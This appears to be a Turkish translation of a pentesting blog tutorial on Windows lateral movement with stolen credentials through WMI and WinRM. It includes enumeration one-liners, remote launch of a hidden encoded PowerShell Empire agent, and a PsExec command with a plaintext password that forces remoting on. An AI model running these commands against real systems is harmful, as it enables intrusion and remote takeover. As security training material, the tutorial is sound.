Windows Kutularına Sahip Olmak İçin Kimlik Bilgilerini Kullanma – Bölüm 3 (WMI ve WinRM)


Bu, bir dizi kimlik bilgisini tehlikeye attığınızda Windows makinelerine uzaktan komutların nasıl yürütüleceğini (ve “sahip olunacağını”) gösteren serinin üçüncü bölümüdür.

Bölüm 1’de Kali Linux’tan kabuk patlatmak için en sevdiğim araç ve tekniklerden bazılarını gösterdim. Geçerli bir etki alanı kullanıcısının kimlik bilgilerini öğrendikten sonra Windows makinelerinde etkileşimli ve yarı etkileşimli kabuklar elde etmek için Metasploit, CrackMapExec, winexe ve Impacket kitaplığındaki bazı komut dosyalarını kullandım.

Bölüm 2’de, Bölüm 1’deki tekniklerin bazılarını tekrar ele aldım, ancak tüm saldırıları bir Windows makinesinden gerçekleştirdim. kullandım runas ele geçirilen hesap için bir Kerberos TGT almak ve yerleşik olarak kullanmak net etki alanını keşfetme komutları. Sonra kullandım psexec ve hedef Windows kutusunda kabukları ve komut yürütmeyi almak için uzak hizmetler.

Bu yazıda ayrıca bir Windows saldırı kutusundan çalışacağım, ancak Windows Yönetim Araçları (WMI) ve Windows Uzaktan Yönetim (WinRM) aracılığıyla komutları yürütmek için Windows komut satırını ve PowerShell’i kullanacağım.


WMI

Windows Yönetim Araçları (WMI), Windows tabanlı işletim sistemlerindeki yönetim verileri ve işlemlere yönelik altyapıdır.

MSDN’de WMI

WMI, Windows cihazlarının uzaktan sorgulanmasına ve yönetilmesine olanak tanıyan inanılmaz derecede güçlü bir özelliktir. Windows altyapısı için SNMP gibi düşünün. Ancak Microsoft’un tüm yönetim araçları ve özellikleri gibi, saldırganların WMI kullanma ve kötüye kullanma konusundaki inanılmaz potansiyeli fark etmeleri uzun sürmedi.

WMI ile sorgulama

Oluşturma işlemlerine geçmeden ve WMI yoluyla komut yürütmeyi almadan önce, WMI’nın başka ne için kullanılabileceğini görmek faydalı olacaktır. Saldırganın bakış açısından WMI, bir sistem veya etki alanı hakkındaki hassas bilgilerin numaralandırılmasında çok değerli olabilir.

Windows’ta wmic, WMI’yi sorgulamak için kullanılan komut satırı arayüzüdür. Basitçe yazarak wmic sizi WMI aracılığıyla sistem hakkındaki bilgileri sorgulayabileceğiniz etkileşimli bir komut istemine bırakacaktır. Bir yayınlamak /? çalıştırabileceğiniz tüm takma adları ve komutları listeleyecektir wmic. Ayrıca doğrudan komut satırından da sorgu gönderebilirsiniz.

Not: Komut isteminden çalışırken, çıktının kolay okunması için “liste özeti” veya “liste dolu” ifadesinin eklenmesi yararlı olur. Ayrıca komut satırına “/format:list” ifadesini de ekleyebilirsiniz

Örneğin, burada yerel bir Windows makinesindeyim (başka bir şekilde bir kabuk aldığımı varsayalım) ve sistem hakkında bilgi aktarıyorum:

wmic bilgisayar sistemi

Sistem, süreç, etki alanı, kullanıcılar ve gruplar hakkındaki bilgileri numaralandırmak için yararlı takma adların bir listesi aşağıda verilmiştir:

1
2
3
4
5
6
wmic computerystem list full /format:list
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list

Daha kullanışlı komutlar için bu Technet makalesine bakın.

Uzaktan WMI Sorgulama

Şimdi işin eğlenceli kısmına geçiyoruz. Yerel sistem hakkındaki bilgileri sorgulamak harikadır ancak sistem yöneticileri veya saldırganlar için pek yararlı değildir. wmic sorgulamak için kullanılabilir uzak sistemler de. Komut anahtarları alır /node Ve /user Hangi ana bilgisayarın sorgulanacağını ve kimlik doğrulamasının hangi kimlik bilgileriyle yapılacağını belirtmek için.

Windows saldırı kutumuza dönersek, güvenliği ihlal edilmiş etki alanı kimlik bilgilerimizi kullanarak etki alanına katılmış bir bilgisayarı hassas bilgiler açısından sorgulayabiliriz:

wmic uzaktan

Hedef sistemde günlüğe kaydedilebilecek bir hizmeti başlatmadığımızı veya normal bir komut yürütmediğimizi, hatta tespit edilebilecek kalıcı bir bağlantıyı açmadığımızı unutmayın. Aslında, WMI olaylarının günlüğe kaydedilmesi varsayılan olarak devre dışıdır ve açıkça açılması gerekir. Bu etkinleştirildikten sonra, çalıştırılan WMI sorgusunun tamamını nihayet görebilirsiniz:

wmic olay günlüğü

Yukarıda belirtilen takma adların tümü uzaktan kullanılabilir. Ayrıca ‘yol’ seçeneğini kullanarak sınıflarla doğrudan etkileşime girebilirsiniz. Örneğin, uzaktaki bir makinedeki yerel yöneticileri keşfetmenin çok gizli bir yolu var (etki alanının bilgisayar adı olduğunu unutmayın):

1
wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")

wmic yerel yöneticileri

Not: Wmic’i komut isteminden jarrieta olarak çalıştırdım, dolayısıyla /user belirtmeme gerek kalmadı

Bir başka yararlı oneliner, bir makinede kimin oturum açtığını görmektir (yöneticileri avlarken için):

1
wmic /node:ordws01 path win32_loggedonuser get antecedent

wmic oturum açtı

wmic hatta bir metin dosyasındaki düğümleri okuyabilir ve komutu hepsinde çalıştırabilir. İş istasyonlarının bir metin dosyasına sahipseniz:

1
wmic /node:@workstations.txt path win32_loggedonuser get antecedent

Yukarıdaki örnekler WMI’ın yapabileceklerinin ancak yüzeyini çizmektedir. Her türlü bilgiyi sorgulamanın yanı sıra ayarları değiştirme ve yeni nesneler oluşturma olanağına da sahipsiniz. Örneğin, kullanıcının şifrelerini bile WMI aracılığıyla değiştirebilirsiniz.

Neyse ki pek çok akıllı insan, WMI’nin saldırganlar için en iyi özelliklerini son derece kullanışlı PowerShell komut dosyalarına dönüştürdü. Bu tür sorgular, Nishang ve PowerSploit gibi çerçevelerde yer aldığını gördüğünüz birçok keşif aracının merkezinde yer alır.

WMI Süreci Oluşturma

Şimdi WMI’nin “en iyi” özelliklerinden birine geliyoruz; uzaktan kod yürütmek için kullanılabilmesi!

Win32_Process sınıfı sorgulamak, değiştirmek, sonlandırmak ve WMI aracılığıyla çağrılabilir. yaratmak süreçleri çalıştırıyor.

Hızlı bir örnek olarak, yerel bir makinede WMI deyimi aracılığıyla “calc.exe”yi başlatma komutunu burada bulabilirsiniz:

wmic işlemi yerel oluştur

Komut, İşlem Kimliğini ve Dönüş Değerini döndürür (0, hata olmadığı anlamına gelir)

Belirterek /node süreçleri uzaktan oluşturmak ve komutları yürütmek inanılmaz derecede kolaydır. Son gönderide Meterpreter’ı bir cihazdan başlatmayı gösterdim. sc create Metasploit’in web_delivery modülü ile komut verin. Bunu değiştirmek için bu sefer bir PowerShell Empire aracısı başlatalım. İlk olarak, Empire’daki “başlatıcı” aşamasını kullanarak yürütülecek komut dizesini oluşturun:

1
powershell.exe -NoP -sta -NonI -W Hidden -Enc JABXAEMAPQBOAEUAVwAtAE8AQgBKAGUAQw...truncated...

Ve şimdi Windows’tan, bu dizeyi yürütmek için WMI üzerinden uzaktan bir işlem oluşturacağız:

1
wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"

wmic imparatorluğu

Başarıyla yürütüldüğünü görüyoruz (ReturnValue = 0). Ve bir saniye sonra Empire dinleyicimiz bunu anlıyor. İşlem kimliğinin WMI’nin döndürdüğü ile aynı olduğunu unutmayın:

imparatorluk dinleyicisi

Kurban makinede hiçbir pencere açılmadı, hiçbir ikili dosya bırakılmadı, hiçbir hizmet oluşturulmadı ve makine WMI Etkinliğini günlüğe kaydedecek şekilde yapılandırılmadığı sürece geride kolayca izlenebilir hiçbir günlük kalmadı. Seksi.

Bu, Kali araçlarının “wmiexec.py”, “wmis” ve CrackMapExec’in kullandığı tekniğin aynısıdır.


WinRM

Windows Uzaktan Yönetim (WinRM), SOAP kullanarak Windows makinelerinin HTTP(S) üzerinden uzaktan yönetilmesine olanak tanıyan bir Microsoft protokolüdür. Arka uçta WMI kullanıyor, dolayısıyla onu WMI için HTTP tabanlı bir API olarak düşünebilirsiniz.

Bunu tartışmak için çok fazla zaman harcamayacağım çünkü açıkçası bunu bir müşteride kullanıldığını hiç görmedim ve bu nedenle gerçekten faydalanmadım, ancak laboratuvarımda onunla oynadım. Karşılaşırsam en azından aşina olmak iyi olur.

Makinede WinRM etkinleştirildiyse makineyi PowerShell’den uzaktan yönetmek çok kolaydır. Aslında, makinedeki uzak bir PowerShell oturumuna katılabilirsiniz (sanki SSH kullanıyormuşsunuz gibi!)

WinRM’nin kullanılabilir olup olmadığını tespit etmenin en kolay yolu portun açık olup olmadığına bakmaktır. WinRM iki bağlantı noktasından birini dinleyecektir:

  • 5985/tcp (HTTP)
  • 5986/tcp (HTTPS)

Bu bağlantı noktalarından biri açıksa WinRM yapılandırılmıştır ve uzak oturuma girmeyi deneyebilirsiniz.

WinRM Oturumunu Başlatma.

Öncelikle saldırı makinemizi WinRM ile çalışacak şekilde yapılandırmamız gerekiyor. Bunu etkinleştirmemiz ve tüm “kurbanları” güvenilir ana bilgisayarlar olarak eklememiz gerekiyor. Yükseltilmiş bir PowerShell isteminden aşağıdaki iki komutu çalıştırın:

1
2
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

Bu, güvenilir ana bilgisayarlar ayarına bir joker karakter ekler. Bunun neleri gerektirdiğine karşı dikkatli olun. Not: Ayrıca saldırı makinemdeki ağ türünü “Genel”den “İş” ağına değiştirmek zorunda kaldım. YMMV

Saldırı makinesi yapılandırıldıktan sonra Test-WSMan Hedefin WinRM için yapılandırılıp yapılandırılmadığını test etme işlevi. Protokol sürümü ve wsmid hakkında bazı bilgilerin döndürüldüğünü görmelisiniz:

Test-WSMan

Bu durumda “ordws01”in yapılandırıldığını ancak “ordws04”ün yapılandırılmadığını görüyoruz.

Artık PowerShell’i kullanabiliriz Invoke-Command WinRM üzerinden hedef üzerinde uzaktan bir komut yürütmek için. Uzaktan çalıştırmak için ipconfig ve çıktıya bakın:

1
Invoke-Command -Computer ordws01 -ScriptBlock {ipconfig /all} -credential CSCOU\jarrieta

WinRM ip yapılandırması

Veya doğrudan etkileşimli bir PowerShell oturumuna katılmak istiyorsanız Enter-PSSession işlev:

WinRM PSRemote

WinRM’yi Açmaya Zorlamak. PS Remoting ve WinRM’yi gerçekten kullanmak istiyorsanız ancak hedef bunun için yapılandırılmamışsa, tek bir komutla bunu “zorlayabilirsiniz”. Bunu tavsiye etmem ama gerçekten WinRM veya PSRemoting’i kullanmak istiyorsanız kesinlikle bu şekilde yapın. Örneğin, PSExec kullanarak:

1
2
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\ordws04 -u cscou\jarrieta -p nastyCutt3r -h -d powershell.exe "enable-psre
moting -force"

PS Uzaktan İletişimini Zorla

Artık ordws04’te uzak PS oturumuna girebiliriz (daha önce devre dışı olduğunu görmüştük).

Özet

Microsoft, sistem yöneticilerinin Windows ortamlarını uzaktan yönetebilmeleri için gerçekten çok sayıda yararlı özellik uygulamaktadır. Ne yazık ki, bu araç ve tekniklerin her biri kötü niyetli aktörler veya pentester’lar tarafından kullanılabilir ve kötüye kullanılabilir.

Metasploit, CrackMapExec ve Impacket gibi araçlar inanılmaz derecede güçlüdür ve neredeyse işaretle ve tıkla (ya da CLI eşdeğeri ne olursa olsun – yaz ve tıkla?) kullanarak pentesterlerin işini çok daha kolay hale getirir. Ancak bu araçlara çok fazla güvenmek kolaydır ve nasıl çalıştıkları veya tekniklerini manuel olarak nasıl yeniden oluşturacakları hakkında bilgi sahibi olmadan, bunlara erişimi olmayan bir pentester fazla bir şey yapamayacaktır.

Bölüm 1’de, kimlik bilgileriniz olduğunda Kali linux’taki Windows ana bilgisayarlarında komut çalıştırmanın en hızlı ve en güvenilir yollarından bazılarını açıkladım. Bölüm 2 ve 3’te, gerçekte nasıl çalıştıklarını göstermek için aynı teknikleri Windows’ta manuel olarak uyguladım. Araçları kullanmayı bırakmayacağım (onlar çok harikalar!) ama artık ben ve umarım siz, işe yaramazsa veya mevcut değilse ne deneyeceğimi biliyorum.

Umarım seriyi beğenmişsinizdir. Herhangi bir şeyi kaçırırsam veya herhangi bir şeye ilişkin sınırlı, basitleştirilmiş açıklamalarım yanlışsa bana bildirin. Bu araç ve tekniklerin kullanımıyla ilgili gelecekteki gönderilere bakın olmadan şifreler. PTH ve Kerberos ftw!

-ropnop


Ayrıca bakınız



Source link